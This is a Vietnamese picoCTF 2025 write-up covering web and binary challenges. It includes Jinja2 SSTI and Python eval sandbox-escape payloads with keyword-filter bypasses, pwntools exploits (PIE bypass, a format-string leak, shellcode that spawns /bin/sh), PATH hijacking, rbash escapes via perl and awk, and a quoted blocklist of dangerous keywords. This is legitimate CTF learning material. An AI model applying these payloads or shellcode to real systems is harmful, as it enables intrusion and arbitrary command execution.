PicoCTF 2025

Web Exploitation

Cookie Monster Secret Recipe

Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?You can access the Cookie Monster here and good luck

Bài web này free flag nên không có gì cần bàn.

head-dump

Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag.The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.The website is running picoCTF News.

Lướt web 1 lúc tôi thấy có dòng sau:

Thì 2 link đầu đều redirect đến chính nó nên thôi không phải bàn.

Link cuối cùng thì chuyển hướng đến đây:

http://verbal-sleep.picoctf.net:61789/api-docs/#/verbal-sleep.picoctf.net

Ta sẽ có 1 list các API để ta có thể sử dụng, đáng chú ý phần cuối cùng: GET /heapdump

Expand -> try it out sau đó là Execute thì bạn sẽ gửi request này đến server:

Sau đó ở phần response body ta sẽ nhận được 1 file như sau:

filename="heapdump-1741533612636.heapsnapshot"

Mỗi lần gửi request ta sẽ nhận được 1 file snapshot khác nhau. Trong file đó có chứa flag:

Bài này cũng không có gì đặc biệt lắm nên tôi sẽ không giải thích nhiều.

n0s4n1ty 1

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.You can access the web application here!

Ở bài này bạn sẽ có quyền Upload 1 file lên server.

Sau khi upload nó sẽ hiện path -> có thể là vuln path traversal:

Sử dụng vuln để đọc file:

Sau đó ta chỉ cần đọc file flag trong /root nhưng nó không nhanh vậy. User bình thường không thể đọc được, chỉ có user root mới có quyền access. Tôi thử sudo -l và điều bất ngờ là không cần nhập pass:

Và tôi có thể sử dụng tất cả các lệnh dưới quyền sudo mà không cần nhập password:

SSTI1

I made a cool website where you can announce whatever you want! Try it out!I heard templating is a cool and modular way to build web apps! Check out my website here!

Như đề bài cũng chỉ rõ rằng trong website này xuất hiện vuln SSTI ( Server Side Template Injection)

Nếu tôi test với {{7*'7'}} thì tôi nhận được output sau:

⇒ Server side sử dụng Jinja2

Sau đó tôi tham khảo blog sau và làm tiếp đến bước này

payload:

{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()[{x}]}}

subprocess.Popen tại index 356 ⇒ payload bây giờ sẽ trở thành:

{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()[356]('some shell here').communicate()}}

Bây giờ sử dụng nó để liệt kê xem file flag nằm ở đâu

Khi làm bài này, tôi tham khảo bài blog sau: https://viblo.asia/p/server-side-template-injection-vulnerabilities-ssti-cac-lo-hong-ssti-phan-3-Ny0VGjAYLPA

3v@l

Trong bài sau nếu tôi nhập 1 chữ cái bất kì, tôi sẽ nhận được lỗi sau:

Hoặc số có dấu . (float number). Nếu tôi nhập 1.1 + 1.2 thì sẽ nhận ngay lỗi:

Nếu nhập số hoặc biểu thức thì tôi sẽ được kết quả của nó:

Hệt như cách eval ở Python:

Vậy để có thể gọi được các command tôi cần import các thư viện như os hay subprocess.

Nếu tôi truyền command sau:

__import__('subprocess').getoutput('id')

Bây giờ ta cần bypass filter. Filter ở bài này tôi nghĩ nó bắt theo cụm từ nguy hiểm

Tôi đã thử rất nhiều payload để xem kết quả là gì. Ở đây tôi sẽ liệt kê các kết quả mà tôi nhận được

(lambda: getattr(__import__('o'+'s'), 'popen')('l'+'s').read())()

Kế thừa payload trước tôi phát triển nó thành:

(lambda: getattr(__import__('o'+'s'), 'popen')('l'+'s .'+'.').read())()

Xác định mục tiêu của mình là đọc file flag.txt.

Tiếp theo, tôi sử dụng payload sau:

(lambda: getattr(__import__('o'+'s'), 'popen')('l'+'s ' + chr(47)).read())()

Payload cuối cùng:

(lambda: getattr(__import__('o'+'s'), 'popen')('ca'+'t ' + chr(47) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)).read())()

Đọc thử file app.py xem nó viết gì mà hardcore thế :))

from flask import Flask, request, render_template, make_response
import re
import traceback

app = Flask(__name__)

# Define blocklist keywords and regex for file paths
BLOCKLIST_KEYWORDS = [
    'os', 'eval', 'exec', 'bind', 'connect', 'python', 'python3',
    'socket', 'ls', 'cat', 'shell', 'subprocess', 'system'
]
FILE_PATH_REGEX = (
    r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}'
    r'|\.[A-Za-z0-9]{1,3}\b|[\\/]|\\.\\.'
)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute():
    code = request.form.get('code', '')

    # Check for blocklist keywords in submitted code
    if any(keyword in code for keyword in BLOCKLIST_KEYWORDS):
        return render_template('error.html', error="Code contains restricted keywords.")

    # Check for file path using regex
    if re.search(FILE_PATH_REGEX, code):
        return render_template('error.html', error="Code contains invalid file paths.")

    try:
        # Restrict globals & locals to prevent unwanted access
        safe_globals = {"__builtins__": {}}
        safe_locals = {}

        exec(code, safe_globals, safe_locals)  # More secure than eval()
        result = safe_locals.get("result", "Code executed successfully, but no output.")
    
    except Exception as e:
        result = f"Error: {str(e)}\n{traceback.format_exc()}"

    return render_template('result.html', result=result)

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=5000)

SSTI2

I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)I heard templating is a cool and modular way to build web apps! Check out my website here!

Giao diện khá giống với SSTI1 nhưng khả năng bài này có tí filter rồi :)). Thử xem payload bài đầu tiên còn áp dụng được không. Do là payload đó có 1 chút bypass filter rồi.

Ở server này vẫn tiếp tục sử dụng Jinja2 để xử lí logic khi tôi test với 7 * '7'

Nếu truyền vào các kí tự trong blacklist bạn sẽ nhận được thông báo:

Do vậy tôi sẽ thử guessing blacklist xem những kí tự nào đã bị filter

Làm tương tự:

{% for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}!@#$%^&*()-=+[]|\\:;\"'<>,.?/" %}
    {{ c }}
{% endfor %}

Và sau đó bạn sẽ nhận ra rằng bạn mất đi kí tự [, ], _, .

Nếu bạn gửi 7.2 hoặc 7_2 + 2 thì kết quả 74, tức dấu . _ đã bị loại bỏ khỏi chuỗi.

Còn khi truyền 2 kí tự liên tiếp 1 mình thì nó sẽ hiện như trên: Stop ... me.

⇒ Chốt lại, tôi sẽ không thể insert trực tiếp các chuỗi vào (nó sẽ được loại bỏ)

... (khoai quá làm sau)

WebSockFish

Can you win in a convincing manner against this chess bot? He won't go easy on you!You can find the challenge here.

Hint: Try understanding the code and how the websocket client is interacting with the server

F12 và bạn sẽ thấy ngay source của nó, và đây là cách nó kết nối đến stockfish

Websocket sẽ gửi các message dến server và nó sẽ hiển thị trong event data:

Đây là các data được sử dụng để di chuyển

Đây là logic chính của nó:

    <script>
    ...
    // Making a list moved
      function makeBestMove() {
        var moves = "";
        var history = game.history({ verbose: true });
        for (var i = 0; i < history.length; i++) {
          var move = history[i];
          moves +=
            " " + move.from + move.to + (move.promotion ? move.promotion : "");
        }
        // Sending current positive and 'go depth 10' to finding best move
        stockfish.postMessage("position fen " + STARTPOS + " moves" + moves);
        stockfish.postMessage("go depth " + DEPTH);
      }

      stockfish.onmessage = function (event) {
        var message;
        // console.log(event.data);
        // If stock found best move, it will sent bestmove e2e4
        if (event.data.startsWith("bestmove")) {
          var bestMove = event.data.split(" ")[1];
          var srcSq = bestMove.slice(0, 2);
          var dstSq = bestMove.slice(2, 4);
          var promotion = bestMove.slice(4);
          
          // Moving
          game.move({ from: srcSq, to: dstSq, promotion: promotion });
          board.position(game.fen());
        } else 
        // If stock sending info depth 10 <-> chess assessment
        if (event.data.startsWith(`info depth ${DEPTH}`)) {
          var splitString = event.data.split(" ");
          // Sending "mate xxx" - Mate (chiếu hết) assessment - tức số nước đi để chiếu hết
          if (event.data.includes("mate")) {
            message = "mate " + parseInt(splitString[9]);
          } else {
          // Sending evaluaion -> giá trị thể hiện lợi thế của Trắng hoặc đen.
            message = "eval " + parseInt(splitString[9]);
          }
          sendMessage(message);
        }
      };
    </script>

Vậy để thắng được ván cờ ta cần giá trị lợi thế của mình ở mức tuyệt đối nên tôi sẽ sửa giá trị eval và gửi đi 1 chuỗi eval 10000 hoặc eval -10000

Sau 1 nước đi "ngu" của tôi thì tôi sẽ nhận được message sau từ stockfish:

Và giá trị eval nó gửi đi là 127 ⇒ Tôi có bảng sau (nhưng ngược lại)

Ví dụ -900 là trắng thắng hoàn toàn và 900 là đen thắng hoàn toàn

Và tôi phải chỉnh 3 lần với 3 giá trị khác nhau thì lúc đó tôi mới nhận được chiến thắng và lấy flag :))

Binary Exploit

PIE_TIME_1

Can you try to get the flag? Beware we have PIE!Connect to the program with netcat:

$ nc rescued-float.picoctf.net 56207

The program's source code can be downloaded here. The binary can be downloaded here.

Payload:

from pwn import *

elf = context.binary = ELF('./vuln')
r = elf.process()
r = remote("rescued-float.picoctf.net", 56207)

# GET MAIN ADDRESS
r.recvuntil(b"main: ")
main_addr = int(r.recvline().strip().decode(), 16)
log.success(f"main address: {hex(main_addr)}")
# GET WIN ADDRESS
win = elf.sym['win']
offset = elf.sym['main'] - win
log.success(f"Offset win -> main: {hex(offset)}")
win = main_addr - offset
log.success(f"Win address: {hex(win)}")
# SENDING PAYLOAD
payload = hex(win)
r.sendline(payload)
r.interactive()

Hash_only_1

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!Connect using ssh [e-mail] -p 59937 with the password, 1db87a14 and run the binary named "flaghasher".You can get a copy of the binary if you wish: scp -P 59937 [e-mail]:~/flaghasher .

Bài này sẽ thực hiện hash file /root/flag.txt và sau đó in ra màn hình chuỗi hash đó.

Ở đây md5sum không sử dụng absolute path nên ta có thể ghi đè nó với 1 chương trình mà tôi có quyền custom:

Path của chương trình này nằm ở: /home/ctf-player.

Để thực hiện việc ghi đè, đầu tiên tôi sẽ ghi đè vào biến môi trường $PATH. Vì biến $PATH là biến xác định các chương trình hệ thống của Linux.

Giá trị mặc định của biến $PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Để có thể ghi đè được md5sum ta cần ghi vào đầu biến $PATH này. Thứ tự ưu tiên của nó sẽ là 1.

export PATH=/home/ctf-player:$PATH

Sau đó exec flaghasher và đợi nó exec chương trình của mình là xong

PIE_TIME_2

Can you try to get the flag? I'm not revealing anything anymore!!Connect to the program with netcat:

$ nc rescued-float.picoctf.net 54893

The program's source code can be downloaded here. The binary can be downloaded here.

Payload:

from pwn import *
elf = context.binary = ELF("./vuln")
r = elf.process()
r = remote("rescued-float.picoctf.net", 52051)

# Leak main address
payload = "%19$p"
r.sendlineafter(b"your name:", payload)

main_addr = int(r.recvline().strip().decode(),16) - 65
log.success(f"main address: {hex(main_addr)}")

# Calculate offset win -> main
win_addr = elf.symbols['win']
offset = elf.symbols['main'] - win_addr
log.success(f"Offset win -> main: {offset}")

win_addr = main_addr - offset
log.success(f"win address: {hex(win_addr)}")

# Exploit
payload = hex(win_addr)[2:]
r.sendline(payload)
r.interactive()

Hash_only_2

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!Connect using ssh [e-mail] -p 61511 with the password, fa005713 and run the binary named "flaghasher".

Binary ở bài này hệt như bài đầu tiên (check hash). Nhưng nó đã dùng đến restricted bash khiến ta không thể làm những thứ rbash không cho phép.

Những hạn chế của rbash:

• Không thể sử dụng /, nghĩa là không thể gọi /bin/ls, /bin/bash, v.v.

• Không thể thay đổi thư mục (cd bị vô hiệu hóa).

• Không thể xuất (export) hoặc thay đổi biến PATH.

• Không thể thực hiện chuyển hướng (>, >>, <, |).

• Không thể sử dụng dấu backtick (`cmd`) hoặc $(cmd).

• Không thể sử dụng exec để chạy shell khác.

• Không thể sử dụng set +r hoặc set +o restricted để thoát.

Bạn có thể escape lên 1 shell khác bằng cách sử dụng perl hoặc awk:

perl -e 'exec "/bin/sh";'
awk 'BEGIN {system("/bin/sh")}'

Bây giờ tôi đã thoát khỏi rbash ban đầu và có thể tự do di chuyển giữa các thư mục mà tôi có quyền đến và tạo file thêm giá trị tùy ý:

Thêm quyền exec cho tệp md5sum này.

Sau đó tôi thêm path của tôi vào trước path của md5sum gốc:

Run flaghasder rồi lụm thôi:

Echo Valley

The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag? Download the source: valley.c Download the binary: valley Connect to the service at nc shape-facility.picoctf.net 52856

Handoff

Download the binary here Download the source here Connect to the program with netcat:$ nc shape-facility.picoctf.net 62055

Vuln at: row 32 in handoff.c

while (true) {
	print_menu();
	if (scanf("%d", &choice) != 1) exit(0);
	getchar(); // Remove trailing \n

	// Add entry
	if (choice == 1) {
		choice = -1;
		// Check for max entries
		if (total_entries >= MAX_ENTRIES) {
			puts("Max recipients reached!");
			continue;
		}

		// Add a new entry
		puts("What's the new recipient's name: ");
		fflush(stdin);
Stack BOF ==> 	fgets(entries[total_entries].name, NAME_LEN, stdin); //Buffer overflow here
		total_entries++;
		
	}
	// Add message
	else if (choice == 2) {
		...
	else if (choice == 3) {
		choice = -1;
		puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
Stack BOF ==>	fgets(feedback, NAME_LEN, stdin);
		feedback[7] = '\0';
		break;
	}
	else {
		choice = -1;
		puts("Invalid option");
	}
}

Hoặc có thể xem vuln bằng cách compile source:

Đầu tiên tôi sẽ tính xem stack là bao nhiêu đẫ.

Đây là giá trị choice mặc định là -1 (0xFFFFFFFF)

char feedback[8]; // 8 bytes
entry_t entries[10]; // 72 bytes * 10
int total_entries = 0; // 4 bytes
int choice = -1; // 4 bytes

=> 736 bytes

Stack sẽ trông như sau:

• Màu xanh lá ⇒ choice

• Màu cam ⇒ entries

• Màu vàng ⇒ feedback

• Màu xanh dương ⇒ total entries

• Bên dưới màu vàng: rbp

• Bên dưới màu xanh dương: return address

Ngoài ra ta có 1 gadget call rax để kích hoạt shellcode từ stack:

Payload dưới đây tôi đã chia ra làm 3 stage rõ ràng để khai thác bài này, bạn có thể debug từng stage 1

from pwn import *
elf = context.binary = ELF('./handoff')
r = elf.process()
r = remote("shape-facility.picoctf.net", 56807)

# gdb.attach(r, '''
#     b* vuln+202\n
#     b* vuln+387\n
#     b* vuln+447\n
#     b* vuln+485\n
#     c
# ''')

call_rax = 0x401014

# Stage 1: Create a entry for shellcode exploit
payload = b"a" * 8
r.sendlineafter(b"the app", str(1))
r.sendlineafter(b"recipient's name:", payload)

# Stage 2: Inject shellcode exploit into created entry
payload2 = asm("""
    xor    rdi,rdi
    push   rdi
    movabs rdi,0x68732f2f6e69622f
    push   rdi
    xor    rsi,rsi
    xor    rdx,rdx
    mov    rdi,rsp
    xor    rax,rax
    add    rax,0x3b
    syscall
""")
r.sendlineafter(b"the app", str(2))
r.sendlineafter(b"message to?", str(0))
r.sendlineafter(b"send them?", payload2)

# Stage 3: Calling shellcode exploit
shellcode = asm("""
    xor rbx, rbx
    mov ebx, 0x2e0
    sub rsp, rbx
    jmp rsp
""")

payload3 = shellcode + b"\x90"*(20-len(shellcode)) + p64(call_rax)
r.sendlineafter(b"the app", str(3))
r.sendlineafter(b"appreciate it:", payload3)

r.interactive()

Bài này có nhiều yếu tố hơi lừa player bởi vậy tôi thấy bài này ko hay vì nó quá nhiều thông tin nhiễu như libc sử dụng csu này, rồi yếu tố overflow ở stage 1 :)).